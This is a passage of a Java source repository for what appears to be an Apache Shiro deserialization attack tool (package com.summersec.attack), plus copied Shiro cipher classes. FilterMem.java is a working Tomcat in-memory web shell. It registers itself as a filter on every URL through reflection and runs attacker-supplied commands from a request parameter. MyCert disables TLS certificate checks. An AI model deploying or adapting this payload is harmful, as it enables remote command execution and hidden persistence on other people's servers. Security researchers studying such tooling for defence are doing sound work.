StringBuilder sb = new StringBuilder(); 11 | boolean first = true; 12 | for (String s : strings) { 13 | if (!first) { 14 | sb.append(sep); 15 | } 16 | if (prefix != null) { 17 | sb.append(prefix); 18 | } 19 | sb.append(s); 20 | if (suffix != null) { 21 | sb.append(suffix); 22 | } 23 | first = false; 24 | } 25 | return sb.toString(); 26 | } 27 | 28 | public static String repeat(String str, int num) { 29 | String[] strs = new String[num]; 30 | Arrays.fill((Object[])strs, str); 31 | return join(Arrays.asList(strs), "", "", ""); 32 | } 33 | 34 | public static List formatTable(List rows) { 35 | Integer[] maxLengths = new Integer[((String[])rows.get(0)).length]; 36 | for (String[] row : rows) { 37 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); 38 | for (int i = 0; i < maxLengths.length; i++) { 39 | if (maxLengths[i] == null || maxLengths[i].intValue() < row[i].length()) { 40 | maxLengths[i] = Integer.valueOf(row[i].length()); 41 | } 42 | } 43 | } 44 | 45 | List lines = new LinkedList<>(); 46 | for (String[] row : rows) { 47 | for (int i = 0; i < maxLengths.length; i++) { 48 | String pad = repeat(" ", maxLengths[i].intValue() - row[i].length()); 49 | row[i] = row[i] + pad; 50 | } 51 | lines.add(join(Arrays.asList(row), " ", "", "")); 52 | } 53 | return lines; 54 | } 55 | 56 | public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { 57 | return o1.toString().compareTo(o2.toString()); 58 | } } 59 | 60 | } 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/SuidClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.File; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.util.Enumeration; 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | import java.util.jar.JarEntry; 13 | import java.util.jar.JarFile; 14 | 15 | public class SuidClassLoader extends ClassLoader{ 16 | 17 | private Map classByteMap = new HashMap<>(); 18 | private Map cacheClass = new HashMap<>(); 19 | 20 | public void addClass(String className, byte[] classByte ){ 21 | classByteMap.put(className,classByte); 22 | } 23 | 24 | public void addJar(byte[] jarByte) throws Exception{ 25 | File tempFile = null; 26 | JarFile jarFile = null; 27 | tempFile = File.createTempFile("tempJarFile", "jar"); 28 | FileUtils.writeByteArrayToFile(tempFile, jarByte); 29 | jarFile = new JarFile(tempFile); 30 | readJar(jarFile); 31 | } 32 | 33 | private void readJar(JarFile jar) throws IOException, IOException { 34 | Enumeration en = jar.entries(); 35 | while (en.hasMoreElements()){ 36 | JarEntry je = en.nextElement(); 37 | String name = je.getName(); 38 | if (name.endsWith(".class")){ 39 | String clss = name.replace(".class", "").replaceAll("/", "."); 40 | if(this.findLoadedClass(clss) != null) { 41 | continue; 42 | } 43 | InputStream input = jar.getInputStream(je); 44 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 45 | int bufferSize = 4096; 46 | byte[] buffer = new byte[bufferSize]; 47 | int bytesNumRead = 0; 48 | while ((bytesNumRead = input.read(buffer)) != -1) { 49 | baos.write(buffer, 0, bytesNumRead); 50 | } 51 | byte[] cc = baos.toByteArray(); 52 | input.close(); 53 | classByteMap.put(clss, cc); 54 | } 55 | } 56 | } 57 | 58 | 59 | @Override 60 | protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { 61 | synchronized (getClassLoadingLock(name)) { 62 | Class clazz = cacheClass.get(name); 63 | if (clazz != null) { 64 | return clazz; 65 | } 66 | try { 67 | clazz = findClass(name); 68 | if (null != clazz) { 69 | cacheClass.put(name, clazz); 70 | }else{ 71 | clazz = super.loadClass(name, resolve); 72 | } 73 | } catch (ClassNotFoundException e) { 74 | clazz = super.loadClass(name, resolve); 75 | } 76 | 77 | if (resolve) { 78 | resolveClass(clazz); 79 | } 80 | return clazz; 81 | } 82 | } 83 | 84 | @Override 85 | protected Class findClass(String name) throws ClassNotFoundException { 86 | byte[] result = classByteMap.get(name); 87 | if ( result == null){ 88 | throw new ClassNotFoundException(); 89 | } else { 90 | return super.defineClass(name,result,0,result.length); 91 | } 92 | } 93 | 94 | public void cleanLoader(){ 95 | if (classByteMap != null){ 96 | classByteMap.clear(); 97 | } 98 | if (cacheClass != null){ 99 | cacheClass.clear(); 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/entity/ControllersFactory.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.entity; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | 7 | 8 | 9 | public class ControllersFactory { 10 | public static Map controllers = new HashMap<>(); 11 | } 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/entity/RequestInfo.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.entity; 2 | 3 | public class RequestInfo { 4 | public static String url; 5 | 6 | public static String method; 7 | 8 | public static Integer timeout; 9 | } 10 | 11 | 12 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/AesUtil.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.security.SecureRandom; 4 | import javax.crypto.Cipher; 5 | import javax.crypto.spec.IvParameterSpec; 6 | import javax.crypto.spec.SecretKeySpec; 7 | 8 | public class AesUtil { 9 | public AesUtil() { 10 | } 11 | 12 | public static byte[] encrypt(byte[] plainText, byte[] key) throws Exception { 13 | int ivSize = 16; 14 | byte[] iv = new byte[ivSize]; 15 | SecureRandom random = new SecureRandom(); 16 | random.nextBytes(iv); 17 | IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); 18 | SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES"); 19 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 20 | cipher.init(1, secretKeySpec, ivParameterSpec); 21 | byte[] encrypted = cipher.doFinal(plainText); 22 | byte[] encryptedIvandtext = new byte[ivSize + encrypted.length]; 23 | System.arraycopy(iv, 0, encryptedIvandtext, 0, ivSize); 24 | System.arraycopy(encrypted, 0, encryptedIvandtext, ivSize, encrypted.length); 25 | return encryptedIvandtext; 26 | } 27 | } -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/Console.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.io.OutputStream; 4 | import javafx.application.Platform; 5 | import javafx.scene.control.TextArea; 6 | 7 | public class Console extends OutputStream { 8 | private TextArea console; 9 | byte[] tempbytes = new byte[1024]; 10 | 11 | public Console(TextArea console) { 12 | this.console = console; 13 | } 14 | 15 | public void appendText(final String valueOf) { 16 | Platform.runLater(new Runnable() { 17 | @Override 18 | public void run() { 19 | Console.this.console.appendText(valueOf); 20 | } 21 | }); 22 | } 23 | 24 | @Override 25 | public void write(int b) { 26 | this.appendText(String.valueOf((char)b)); 27 | } 28 | } 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/ConvertUtil.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.math.BigInteger; 4 | 5 | public class ConvertUtil { 6 | public ConvertUtil() { 7 | } 8 | 9 | public static String toHexString(String input) { 10 | return String.format("%x", new BigInteger(1, input.getBytes())); 11 | } 12 | 13 | public static String fromHexString(String hex) { 14 | StringBuilder str = new StringBuilder(); 15 | 16 | for(int i = 0; i < hex.length(); i += 2) { 17 | str.append((char)Integer.parseInt(hex.substring(i, i + 2), 16)); 18 | } 19 | 20 | return str.toString(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/HttpUtils.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | /** 4 | * @ClassName: HttpUtils 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/9/25 13:36 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class HttpUtils { 12 | public static String RespHeader(){ 13 | String header = null; 14 | return header; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/MessageUtil.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.io.PrintWriter; 4 | import java.io.StringWriter; 5 | import javafx.scene.control.Alert; 6 | import javafx.scene.control.Label; 7 | import javafx.scene.control.TextArea; 8 | import javafx.scene.control.Alert.AlertType; 9 | import javafx.scene.layout.GridPane; 10 | import javafx.scene.layout.Priority; 11 | import javafx.stage.Window; 12 | 13 | public class MessageUtil { 14 | public MessageUtil() { 15 | } 16 | 17 | public static void showExceptionMessage(Exception ex, String contentText) { 18 | Alert alert = new Alert(AlertType.ERROR); 19 | alert.setTitle("错误"); 20 | alert.setHeaderText(""); 21 | alert.setContentText(contentText); 22 | StringWriter sw = new StringWriter(); 23 | PrintWriter pw = new PrintWriter(sw); 24 | ex.printStackTrace(pw); 25 | String exceptionText = sw.toString(); 26 | Label label = new Label("The exception stacktrace was:"); 27 | TextArea textArea = new TextArea(exceptionText); 28 | textArea.setEditable(false); 29 | textArea.setWrapText(true); 30 | textArea.setMaxWidth(1.7976931348623157E308D); 31 | textArea.setMaxHeight(1.7976931348623157E308D); 32 | GridPane.setVgrow(textArea, Priority.ALWAYS); 33 | GridPane.setHgrow(textArea, Priority.ALWAYS); 34 | GridPane expContent = new GridPane(); 35 | expContent.setMaxWidth(1.7976931348623157E308D); 36 | expContent.add(label, 0, 0); 37 | expContent.add(textArea, 0, 1); 38 | alert.getDialogPane().setExpandableContent(expContent); 39 | alert.showAndWait(); 40 | } 41 | 42 | public static void showErrorMessage(String title, String msg) { 43 | Alert alert = new Alert(AlertType.ERROR); 44 | Window window = alert.getDialogPane().getScene().getWindow(); 45 | window.setOnCloseRequest((event) -> { 46 | window.hide(); 47 | }); 48 | alert.setTitle(title); 49 | alert.setHeaderText(""); 50 | alert.setContentText(msg); 51 | alert.showAndWait(); 52 | } 53 | 54 | public static void showInfoMessage(String title, String msg) { 55 | Alert alert = new Alert(AlertType.INFORMATION); 56 | Window window = alert.getDialogPane().getScene().getWindow(); 57 | window.setOnCloseRequest((event) -> { 58 | window.hide(); 59 | }); 60 | alert.setTitle(title); 61 | alert.setHeaderText(""); 62 | alert.setContentText(msg); 63 | alert.showAndWait(); 64 | } 65 | } 66 | 67 | 68 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/MyCert.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.security.cert.CertificateException; 4 | import java.security.cert.X509Certificate; 5 | import javax.net.ssl.X509TrustManager; 6 | 7 | 8 | 9 | 10 | public class MyCert implements X509TrustManager { 11 | @Override 12 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {} 13 | 14 | @Override 15 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {} 16 | 17 | @Override 18 | public X509Certificate[] getAcceptedIssuers() { 19 | return null; 20 | } 21 | } 22 | 23 | 24 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/UserAgentUtil.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | import java.util.Random; 6 | 7 | public class UserAgentUtil { 8 | private static List list = new ArrayList(); 9 | 10 | static { 11 | list.add("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"); 12 | list.add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36"); 13 | list.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"); 14 | list.add("Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36"); 15 | list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); 16 | list.add("Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"); 17 | list.add("Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0"); 18 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"); 19 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); 20 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"); 21 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"); 22 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)"); 23 | list.add("Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)"); 24 | list.add("Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"); 25 | list.add("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2"); 26 | list.add("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/525.28.3"); 27 | list.add("Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16"); 28 | list.add("Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"); 29 | list.add("Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14"); 30 | list.add("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14"); 31 | list.add("Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02"); 32 | list.add("Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"); 33 | list.add("Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"); 34 | list.add("Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00"); 35 | list.add("Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00"); 36 | list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"); 37 | list.add("Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"); 38 | list.add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"); 39 | list.add("Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0"); 40 | list.add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0"); 41 | list.add("Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0"); 42 | } 43 | 44 | private static int getRandomIndex() { 45 | int max = 31; 46 | int min = 0; 47 | Random random = new Random(); 48 | return random.nextInt(max) % (max - min + 1) + min; 49 | } 50 | 51 | public static String getRandomUserAgent(){ 52 | return list.get(getRandomIndex()); 53 | } 54 | 55 | } -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/utils/Utils.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.utils; 2 | 3 | import java.net.URL; 4 | import org.mozilla.universalchardet.UniversalDetector; 5 | 6 | 7 | 8 | import java.net.URL; 9 | import org.mozilla.universalchardet.CharsetListener; 10 | import org.mozilla.universalchardet.UniversalDetector; 11 | 12 | public class Utils { 13 | public Utils() { 14 | } 15 | 16 | public static String log(String info) { 17 | return trimN(info) + "\n"; 18 | } 19 | 20 | private static String trimN(String str) { 21 | int len = str.length(); 22 | int st = 0; 23 | 24 | char[] val; 25 | for(val = str.toCharArray(); st < len && val[st] <= '\r'; ++st) { 26 | } 27 | 28 | while(st < len && val[len - 1] <= '\r') { 29 | --len; 30 | } 31 | 32 | return st <= 0 && len >= str.length() ? str : str.substring(st, len); 33 | } 34 | 35 | public static String guessEncoding(byte[] bytes) { 36 | String DEFAULT_ENCODING = "UTF-8"; 37 | UniversalDetector detector = new UniversalDetector((CharsetListener)null); 38 | detector.handleData(bytes, 0, bytes.length); 39 | detector.dataEnd(); 40 | String encoding = detector.getDetectedCharset(); 41 | detector.reset(); 42 | if (encoding == null) { 43 | encoding = DEFAULT_ENCODING; 44 | } 45 | 46 | return encoding; 47 | } 48 | 49 | public static String UrlToDomain(String target) { 50 | try { 51 | URL url = new URL(target); 52 | int port; 53 | if (url.getPort() == -1) { 54 | port = url.getDefaultPort(); 55 | } else { 56 | port = url.getPort(); 57 | } 58 | 59 | String httpAddress = url.getProtocol() + "://" + url.getHost() + ":" + port; 60 | return httpAddress; 61 | } catch (Exception var4) { 62 | return var4.getMessage(); 63 | } 64 | } 65 | } 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/x/FilterMem.java: -------------------------------------------------------------------------------- 1 | package com.summersec.x; 2 | 3 | import org.apache.catalina.LifecycleState; 4 | import org.apache.catalina.core.StandardContext; 5 | import org.apache.catalina.loader.WebappClassLoaderBase; 6 | import org.apache.catalina.util.LifecycleBase; 7 | 8 | import javax.servlet.*; 9 | import java.io.*; 10 | import java.lang.reflect.Field; 11 | import java.lang.reflect.Method; 12 | import java.util.ArrayList; 13 | import java.util.EnumSet; 14 | import java.util.Optional; 15 | import java.util.UUID; 16 | 17 | public class FilterMem implements Filter { 18 | 19 | @Override 20 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 21 | boolean success = request.getParameter("indexlogin") != null; 22 | String cmd = Optional.ofNullable(request.getParameter("CC")).orElse("id"); 23 | 24 | if (success) { 25 | PrintWriter writer = response.getWriter(); 26 | try { 27 | for (String s : readProcessOutput(cmd)) writer.println(s); 28 | } catch (Exception e) { 29 | e.printStackTrace(writer); 30 | } 31 | return; 32 | } 33 | 34 | chain.doFilter(request, response); 35 | } 36 | 37 | private ArrayList readProcessOutput(String command) throws IOException { 38 | ArrayList list = new ArrayList<>(); 39 | try (InputStream in = Runtime.getRuntime().exec(command).getInputStream(); 40 | BufferedReader reader = new BufferedReader(new InputStreamReader(in))) { 41 | for (String s; (s = reader.readLine()) != null; ) { 42 | list.add(s); 43 | } 44 | } 45 | return list; 46 | } 47 | 48 | @Override 49 | public boolean equals(Object obj) { 50 | try { 51 | WebappClassLoaderBase classLoader = (WebappClassLoaderBase) obj; 52 | StandardContext standardContext = (StandardContext) classLoader.getResources().getContext(); 53 | ServletContext servletContext = standardContext.getServletContext(); 54 | 55 | Field stateField = LifecycleBase.class.getDeclaredField("state"); 56 | stateField.setAccessible(true); 57 | try { 58 | stateField.set(standardContext, LifecycleState.STARTING_PREP); 59 | 60 | servletContext 61 | .addFilter(UUID.randomUUID().toString(), this) 62 | .addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*"); 63 | 64 | Method filterStartMethod = StandardContext.class.getMethod("filterStart"); 65 | filterStartMethod.setAccessible(true); 66 | filterStartMethod.invoke(standardContext); 67 | 68 | stateField.set(standardContext, LifecycleState.STARTED); 69 | } finally { 70 | stateField.set(standardContext, LifecycleState.STARTED); 71 | } 72 | } catch (Exception e) { 73 | e.printStackTrace(); 74 | } 75 | return false; 76 | } 77 | 78 | @Override 79 | public void init(FilterConfig filterConfig) { 80 | } 81 | 82 | @Override 83 | public void destroy() { 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/AbstractSymmetricCipherService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.crypto.cipher; 20 | 21 | import javax.crypto.KeyGenerator; 22 | import java.security.Key; 23 | import java.security.NoSuchAlgorithmException; 24 | 25 | /** 26 | * Base abstract class for supporting symmetric key cipher algorithms. 27 | * 28 | * @since 1.0 29 | */ 30 | public abstract class AbstractSymmetricCipherService extends JcaCipherService { 31 | 32 | protected AbstractSymmetricCipherService(String algorithmName) { 33 | super(algorithmName); 34 | } 35 | 36 | /** 37 | * Generates a new {@link java.security.Key Key} suitable for this CipherService's {@link #getAlgorithmName() algorithm} 38 | * by calling {@link #generateNewKey(int) generateNewKey(128)} (uses a 128 bit size by default). 39 | * 40 | * @return a new {@link java.security.Key Key}, 128 bits in length. 41 | */ 42 | public Key generateNewKey() { 43 | return generateNewKey(getKeySize()); 44 | } 45 | 46 | /** 47 | * Generates a new {@link Key Key} of the specified size suitable for this CipherService 48 | * (based on the {@link #getAlgorithmName() algorithmName} using the JDK {@link javax.crypto.KeyGenerator KeyGenerator}. 49 | * 50 | * @param keyBitSize the bit size of the key to create 51 | * @return the created key suitable for use with this CipherService 52 | */ 53 | public Key generateNewKey(int keyBitSize) { 54 | KeyGenerator kg; 55 | try { 56 | kg = KeyGenerator.getInstance(getAlgorithmName()); 57 | } catch (NoSuchAlgorithmException e) { 58 | String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function."; 59 | throw new IllegalStateException(msg, e); 60 | } 61 | kg.init(keyBitSize); 62 | return kg.generateKey(); 63 | } 64 | 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/AesCipherService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.crypto.cipher; 20 | 21 | import javax.crypto.spec.GCMParameterSpec; 22 | import java.security.spec.AlgorithmParameterSpec; 23 | 24 | /** 25 | * {@code CipherService} using the {@code AES} cipher algorithm for all encryption, decryption, and key operations. 26 | *

27 | * The AES algorithm can support key sizes of {@code 128}, {@code 192} and {@code 256} bits*. This implementation 28 | * defaults to 128 bits. 29 | *

30 | * Note that this class retains changes the parent class's default {@link OperationMode#CBC CBC} mode to {@link OperationMode#GCM GCM} of operation 31 | * instead of the typical JDK default of {@link OperationMode#ECB ECB}. {@code ECB} should not be used in 32 | * security-sensitive environments because {@code ECB} does not allow for initialization vectors, which are 33 | * considered necessary for strong encryption. See the {@link DefaultBlockCipherService parent class}'s JavaDoc and the 34 | * {@link JcaCipherService JcaCipherService} JavaDoc for more on why the JDK default should not be used and is not 35 | * used in this implementation. 36 | *

37 | * * Generating and using AES key sizes greater than 128 require installation of the 38 | * Java Cryptography Extension (JCE) Unlimited Strength 39 | * Jurisdiction Policy files. 40 | * 41 | * @since 1.0 42 | */ 43 | public class AesCipherService extends DefaultBlockCipherService { 44 | 45 | private static final String ALGORITHM_NAME = "AES"; 46 | 47 | /** 48 | * Creates a new {@link CipherService} instance using the {@code AES} cipher algorithm with the following 49 | * important cipher default attributes: 50 | * 51 | * 52 | * 53 | * 54 | * 55 | * 56 | * 57 | * 58 | * 59 | * 60 | * 61 | * 62 | * 63 | * 64 | * 65 | * 66 | * 67 | * 68 | * 69 | * 70 | * 71 | * 72 | * 73 | * 74 | * 75 | * 76 | * 77 | * 78 | * 79 | *
AttributeValue
{@link #setKeySize keySize}{@code 128} bits
{@link #setBlockSize blockSize}{@code 128} bits (required for {@code AES}
{@link #setMode mode}{@link OperationMode#GCM GCM}*
{@link #setPaddingScheme paddingScheme}{@link PaddingScheme#NONE NoPadding}***
{@link #setInitializationVectorSize(int) initializationVectorSize}{@code 128} bits
{@link #setGenerateInitializationVectors(boolean) generateInitializationVectors}{@code true}**
80 | *

81 | * * The {@link OperationMode#GCM GCM} operation mode is used instead of the JDK default {@code ECB} to 82 | * ensure strong encryption. {@code ECB} should not be used in security-sensitive environments - see the 83 | * {@link DefaultBlockCipherService DefaultBlockCipherService} class JavaDoc's "Operation Mode" section 84 | * for more. 85 | *

86 | * **In conjunction with the default {@code GCM} operation mode, initialization vectors are generated by 87 | * default to ensure strong encryption. See the {@link JcaCipherService JcaCipherService} class JavaDoc for more. 88 | *

89 | * **Since {@code GCM} is a stream cipher, padding is implemented in the operation mode and an external padding scheme 90 | * cannot be used in conjunction with {@code GCM}. In fact, {@code AES/GCM/PKCS5Padding} is just an alias in most JVM for 91 | * {@code AES/GCM/NoPadding}. 92 | *

93 | * NOTE: As of Java 14, setting a streaming padding for the above example will throw a NoSuchAlgorithmException 94 | * @see JDK-8180392 95 | */ 96 | public AesCipherService() { 97 | super(ALGORITHM_NAME); 98 | setMode(OperationMode.GCM); 99 | setStreamingMode(OperationMode.GCM); 100 | setPaddingScheme(PaddingScheme.NONE); 101 | setStreamingPaddingScheme(PaddingScheme.NONE); 102 | } 103 | 104 | @Override 105 | protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) { 106 | 107 | if ((streaming && OperationMode.GCM.name().equals(getStreamingModeName())) 108 | || (!streaming && OperationMode.GCM.name().equals(getModeName()))) { 109 | return new GCMParameterSpec(getKeySize(), iv); 110 | } 111 | 112 | return super.createParameterSpec(iv, streaming); 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/BlowfishCipherService.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.crypto.cipher; 20 | 21 | /** 22 | * {@code CipherService} using the {@code Blowfish} cipher algorithm for all encryption, decryption, and key operations. 23 | *

24 | * The Blowfish algorithm can support key sizes between {@code 32} and {@code 448} bits*, inclusive. However, 25 | * modern cryptanalysis techniques render keys of 80 bits or less mostly worthless - use {@code 128} or more whenever 26 | * possible. 27 | *

28 | * Note that this class retains the parent class's default {@link OperationMode#CBC CBC} mode of operation 29 | * instead of the typical JDK default of {@link OperationMode#ECB ECB}. {@code ECB} should not be used in 30 | * security-sensitive environments because {@code ECB} does not allow for initialization vectors, which are 31 | * considered necessary for strong encryption. See the {@link DefaultBlockCipherService parent class}'s JavaDoc and the 32 | * {@link JcaCipherService JcaCipherService} JavaDoc for more on why the JDK default should not be used and is not 33 | * used in this implementation. 34 | *

35 | * * Generating and using Blowfish key sizes greater than 128 require installation of the 36 | * Java Cryptography Extension (JCE) Unlimited Strength 37 | * Jurisdiction Policy files. 38 | * 39 | * @since 1.0 40 | */ 41 | public class BlowfishCipherService extends DefaultBlockCipherService { 42 | 43 | private static final String ALGORITHM_NAME = "Blowfish"; 44 | private static final int BLOCK_SIZE = 64; 45 | 46 | /** 47 | * Creates a new {@link CipherService} instance using the {@code Blowfish} cipher algorithm with the following 48 | * important cipher default attributes: 49 | * 50 | * 51 | * 52 | * 53 | * 54 | * 55 | * 56 | * 57 | * 58 | * 59 | * 60 | * 61 | * 62 | * 63 | * 64 | * 65 | * 66 | * 67 | * 68 | * 69 | * 70 | * 71 | * 72 | * 73 | * 74 | * 75 | * 76 | * 77 | * 78 | *
AttributeValue
{@link #setKeySize keySize}{@code 128} bits
{@link #setBlockSize blockSize}{@code 64} bits (required for {@code Blowfish})
{@link #setMode mode}{@link OperationMode#CBC CBC}*
{@link #setPaddingScheme paddingScheme}{@link PaddingScheme#PKCS5 PKCS5}
{@link #setInitializationVectorSize(int) initializationVectorSize}{@code 64} bits
{@link #setGenerateInitializationVectors(boolean) generateInitializationVectors}{@code true}**
79 | *

